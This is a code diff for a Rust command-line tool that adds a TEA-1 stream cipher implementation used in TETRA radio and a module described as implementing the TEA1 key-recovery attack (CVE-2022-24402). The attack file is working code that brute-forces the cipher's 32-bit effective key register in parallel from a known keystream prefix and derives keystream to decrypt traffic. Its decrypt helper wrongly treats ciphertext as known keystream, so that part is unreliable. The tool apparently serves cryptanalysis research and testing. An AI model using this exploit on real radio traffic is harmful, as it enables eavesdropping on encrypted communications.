tea 1 implementation + attack

src/main.rs

@@ -1,5 +1,7 @@
 mod lfsr;
 mod period;
+mod tea1;
+mod tea1_attack;
 mod tea3;
 mod tea3_from_c;
 
@@ -9,9 +11,12 @@ use lfsr::Lfsr;
 use period::{longest_period_parallel, period_paper};
 use tea3::Tea3;
 
+use tea1::*;
+use tea1_attack::*;
+
 #[derive(Parser)]
-#[command(name = "tea3-tools")]
-#[command(about = "LFSR / TEA-3 test utilities", long_about = None)]
+#[command(name = "tetra-crypto-tools")]
+#[command(about = "LFSR / TEA-3 / TEA-1 test utilities", long_about = None)]
 struct Cli {
     #[command(subcommand)]
     command: Commands,
@@ -22,6 +27,9 @@ enum Commands {
     /// Test the LFSR
     Lfsr,
 
+    /// Test TEA-1 attack
+    Tea1,
+
     /// Test TEA-3 keystream and encryption/decryption
     Tea3,
 
@@ -37,6 +45,7 @@ fn main() {
 
     match cli.command {
         Commands::Lfsr => test_lfsr(),
+        Commands::Tea1 => test_tea1_attack(),
         Commands::Tea3 => test_tea3(),
         Commands::Periods => test_periods(),
         Commands::GreatestPeriod => find_greatest_period(),
@@ -52,6 +61,22 @@ fn test_lfsr() {
     }
 }
 
+fn test_tea1_attack() {
+        let key0 = [0x00u8; 10];
+        let reduced0 = init_key_register(&key0); // 0xc24e273b
+        assert_eq!(reduced0, 0xc24e273b);
+
+        let frame0 = 0x1111_1111u32;
+        let ks0 = tea1_keystream(frame0, &key0, 4);
+
+        let recovered0 = recover_tea1_keyreg(frame0, &ks0);
+        assert_eq!(recovered0, Some(reduced0));
+
+        println!("Recovered key successfully (0x{:08x})", recovered0.unwrap());
+        println!("original key               (0x{:08x})", reduced0);
+
+}
+
 fn test_tea3() {
     let key = vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
     let state = vec![0; 8];

src/tea1.rs

@@ -0,0 +1,137 @@
+// TEA 1
+
+pub const TEA1_LUT_A: [u16; 8] = [
+    0xDA86, 0x85E9, 0x29B5, 0x2BC6, 0x8C6B, 0x974C, 0xC671, 0x93E2,
+];
+
+pub const TEA1_LUT_B: [u16; 8] = [
+    0x85D6, 0x791A, 0xE985, 0xC671, 0x2B9C, 0xEC92, 0xC62B, 0x9C47,
+];
+
+pub const TEA1_SBOX: [u8; 256] = [
+    0x9B, 0xF8, 0x3B, 0x72, 0x75, 0x62, 0x88, 0x22, 0xFF, 0xA6, 0x10, 0x4D, 0xA9, 0x97, 0xC3, 0x7B,
+    0x9F, 0x78, 0xF3, 0xB6, 0xA0, 0xCC, 0x17, 0xAB, 0x4A, 0x41, 0x8D, 0x89, 0x25, 0x87, 0xD3, 0xE3,
+    0xCE, 0x47, 0x35, 0x2C, 0x6D, 0xFC, 0xE7, 0x6A, 0xB8, 0xB7, 0xFA, 0x8B, 0xCD, 0x74, 0xEE, 0x11,
+    0x23, 0xDE, 0x39, 0x6C, 0x1E, 0x8E, 0xED, 0x30, 0x73, 0xBE, 0xBB, 0x91, 0xCA, 0x69, 0x60, 0x49,
+    0x5F, 0xB9, 0xC0, 0x06, 0x34, 0x2A, 0x63, 0x4B, 0x90, 0x28, 0xAC, 0x50, 0xE4, 0x6F, 0x36, 0xB0,
+    0xA4, 0xD2, 0xD4, 0x96, 0xD5, 0xC9, 0x66, 0x45, 0xC5, 0x55, 0xDD, 0xB2, 0xA1, 0xA8, 0xBF, 0x37,
+    0x32, 0x2B, 0x3E, 0xB5, 0x5C, 0x54, 0x67, 0x92, 0x56, 0x4C, 0x20, 0x6B, 0x42, 0x9D, 0xA7, 0x58,
+    0x0E, 0x52, 0x68, 0x95, 0x09, 0x7F, 0x59, 0x9C, 0x65, 0xB1, 0x64, 0x5E, 0x4F, 0xBA, 0x81, 0x1C,
+    0xC2, 0x0C, 0x02, 0xB4, 0x31, 0x5B, 0xFD, 0x1D, 0x0A, 0xC8, 0x19, 0x8F, 0x83, 0x8A, 0xCF, 0x33,
+    0x9E, 0x3A, 0x80, 0xF2, 0xF9, 0x76, 0x26, 0x44, 0xF1, 0xE2, 0xC4, 0xF5, 0xD6, 0x51, 0x46, 0x07,
+    0x14, 0x61, 0xF4, 0xC1, 0x24, 0x7A, 0x94, 0x27, 0x00, 0xFB, 0x04, 0xDF, 0x1F, 0x93, 0x71, 0x53,
+    0xEA, 0xD8, 0xBD, 0x3D, 0xD0, 0x79, 0xE6, 0x7E, 0x4E, 0x9A, 0xD7, 0x98, 0x1B, 0x05, 0xAE, 0x03,
+    0xC7, 0xBC, 0x86, 0xDB, 0x84, 0xE8, 0xD1, 0xF7, 0x16, 0x21, 0x6E, 0xE5, 0xCB, 0xA3, 0x1A, 0xEC,
+    0xA2, 0x7D, 0x18, 0x85, 0x48, 0xDA, 0xAA, 0xF0, 0x08, 0xC6, 0x40, 0xAD, 0x57, 0x0D, 0x29, 0x82,
+    0x7C, 0xE9, 0x8C, 0xFE, 0xDC, 0x0F, 0x2D, 0x3C, 0x2E, 0xF6, 0x15, 0x2F, 0xAF, 0xE1, 0xEB, 0x3F,
+    0x99, 0x43, 0x13, 0x0B, 0xE0, 0xA5, 0x12, 0x77, 0x5D, 0xB3, 0x38, 0xD9, 0xEF, 0x5A, 0x01, 0x70,
+];
+
+pub fn expand_iv(short_iv: u32) -> u64 {
+    let xorred = short_iv ^ 0x9672_4FA1;
+    let xorred = xorred.rotate_left(8);
+    let iv = ((short_iv as u64) << 32) | (xorred as u64);
+    iv.rotate_right(8)
+}
+
+pub fn state_word_to_newbyte(wst: u16, lut: &[u16; 8]) -> u8 {
+    let mut st0 = (wst & 0x00FF) as u8;
+    let mut st1 = (wst >> 8) as u8;
+    let mut out = 0u8;
+
+    for (i, &lut_item) in lut.iter().enumerate() {
+        let dist = ((st0 >> 7) & 1) | ((st0 << 1) & 0x02) | ((st1 << 1) & 0x0C);
+
+        if (lut_item & (1u16 << dist)) != 0 {
+            out |= 1u8 << i;
+        }
+
+        st0 = st0.rotate_right(1);
+        st1 = st1.rotate_right(1);
+    }
+
+    out
+}
+
+pub fn reorder_state_byte(b: u8) -> u8 {
+    let mut out = 0u8;
+    out |= (b.wrapping_shl(6)) & 0x40;
+    out |= (b.wrapping_shl(1)) & 0x20;
+    out |= (b.wrapping_shl(2)) & 0x08;
+    out |= (b.wrapping_shr(3)) & 0x14;
+    out |= (b.wrapping_shr(2)) & 0x01;
+    out |= (b.wrapping_shr(5)) & 0x02;
+    out |= (b.wrapping_shl(4)) & 0x80;
+    out
+}
+
+pub fn init_key_register(key: &[u8; 10]) -> u32 {
+    let mut reg: u32 = 0;
+
+    for &kb in key.iter() {
+        let idx = (((reg >> 24) ^ (kb as u32) ^ reg) & 0xFF) as usize;
+        reg = (reg << 8) | (TEA1_SBOX[idx] as u32);
+    }
+
+    reg
+}
+
+pub fn tea1_keystream(frame_number: u32, key: &[u8; 10], num_bytes: usize) -> Vec<u8> {
+    let mut out = vec![0u8; num_bytes];
+    tea1_into(frame_number, key, &mut out);
+    out
+}
+
+pub fn tea1_into(frame_number: u32, key: &[u8; 10], out: &mut [u8]) {
+    let mut iv_reg = expand_iv(frame_number);
+    let mut key_reg = init_key_register(key);
+
+    let mut skip_rounds: u32 = 54;
+
+    for byte_out in out.iter_mut() {
+        for _ in 0..skip_rounds {
+            // Step 1: non-linear feedback byte from key register
+            let sbox_idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize;
+            let sbox_out = TEA1_SBOX[sbox_idx];
+
+            key_reg = (key_reg << 8) | (sbox_out as u32);
+
+            // Step 2: derive 3 bytes from current state
+            let deriv_12 = state_word_to_newbyte(((iv_reg >> 8) & 0xFFFF) as u16, &TEA1_LUT_A);
+            let deriv_56 = state_word_to_newbyte(((iv_reg >> 40) & 0xFFFF) as u16, &TEA1_LUT_B);
+            let reord_4 = reorder_state_byte(((iv_reg >> 32) & 0xFF) as u8);
+
+            // Step 3: combine
+            let new_byte = deriv_56 ^ ((iv_reg >> 56) as u8) ^ reord_4 ^ sbox_out;
+            let mix_byte = deriv_12;
+
+            // Step 4: update LFSR
+            iv_reg = ((iv_reg << 8) ^ ((mix_byte as u64) << 32)) | (new_byte as u64);
+        }
+
+        *byte_out = (iv_reg >> 56) as u8;
+        skip_rounds = 19;
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::tea1_keystream;
+
+    #[test]
+    fn test_tea1_vectors() {
+        let key0 = [0x00u8; 10];
+        let out0 = tea1_keystream(0x1111_1111, &key0, 10);
+        assert_eq!(
+            out0,
+            vec![0xD3, 0x3F, 0xD8, 0xA6, 0x05, 0xA0, 0xA1, 0xBB, 0x90, 0x23,]
+        );
+
+        let key1 = [0xA7, 0x98, 0x39, 0xE4, 0xBA, 0x88, 0xEE, 0x54, 0xA0, 0x29];
+        let out1 = tea1_keystream(0x0123_4567, &key1, 10);
+        assert_eq!(
+            out1,
+            vec![0x1D, 0xEC, 0x9C, 0x7E, 0xC6, 0x22, 0x3D, 0x87, 0xC2, 0xCC,]
+        );
+    }
+}

src/tea1_attack.rs

@@ -0,0 +1,73 @@
+// tea1_attack.rs
+// Implementation of the Midnight Blue Labs TEA1 attack (CVE-2022-24402)
+use rayon::prelude::*;
+use crate::tea1::*;
+
+/// Generates the TEA1 keystream using a candidate 32-bit key register directly
+pub fn tea1_keystream_with_keyreg(frame_number: u32, mut key_reg: u32, num_bytes: usize) -> Vec<u8> {
+    let mut out = vec![0u8; num_bytes];
+    let mut iv_reg = expand_iv(frame_number);
+    let mut skip_rounds: u32 = 54;
+
+    for byte_out in out.iter_mut() {
+        for _ in 0..skip_rounds {
+            // Step 1: non-linear feedback byte from key register
+            let sbox_idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize;
+            let sbox_out = TEA1_SBOX[sbox_idx];
+
+            key_reg = (key_reg << 8) | (sbox_out as u32);
+
+            // Step 2: derive 3 bytes from current state
+            let deriv_12 = state_word_to_newbyte(((iv_reg >> 8) & 0xFFFF) as u16, &TEA1_LUT_A);
+            let deriv_56 = state_word_to_newbyte(((iv_reg >> 40) & 0xFFFF) as u16, &TEA1_LUT_B);
+            let reord_4 = reorder_state_byte(((iv_reg >> 32) & 0xFF) as u8);
+
+            // Step 3: combine
+            let new_byte = deriv_56 ^ ((iv_reg >> 56) as u8) ^ reord_4 ^ sbox_out;
+            let mix_byte = deriv_12;
+
+            // Step 4: update LFSR
+            iv_reg = ((iv_reg << 8) ^ ((mix_byte as u64) << 32)) | (new_byte as u64);
+        }
+
+        *byte_out = (iv_reg >> 56) as u8;
+        skip_rounds = 19;
+    }
+    out
+}
+
+/// Brute-force recovery of the 32-bit effective key register given a frame number and a known keystream prefix
+/// Returns the matching key_reg (or None if none found)
+pub fn recover_tea1_keyreg(frame_number: u32, known_keystream: &[u8]) -> Option<u32> {
+    if known_keystream.is_empty() {
+        return None;
+    }
+
+    let check_len = known_keystream.len().min(4);
+
+    let mut known_arr = [0u8; 8];
+    known_arr[0..check_len].copy_from_slice(&known_keystream[0..check_len]);
+
+    (0u32..=u32::MAX)
+        .into_par_iter()
+        .find_any({
+            let frame_number = frame_number;
+            let known_arr = known_arr;
+            let check_len = check_len;
+
+            move |&candidate| {
+                let ks = tea1_keystream_with_keyreg(frame_number, candidate, check_len);
+                ks.as_slice() == &known_arr[0..check_len]
+            }
+        })
+}
+
+
+pub fn decrypt_with_recovered_key(
+    frame_number: u32,
+    ciphertext: &[u8],
+) -> Option<Vec<u8>> {
+    let key_reg = recover_tea1_keyreg(frame_number, ciphertext)?;
+    let keystream = tea1_keystream_with_keyreg(frame_number, key_reg, ciphertext.len());
+    Some(keystream.into_iter().zip(ciphertext).map(|(k, c)| k ^ c).collect())
+}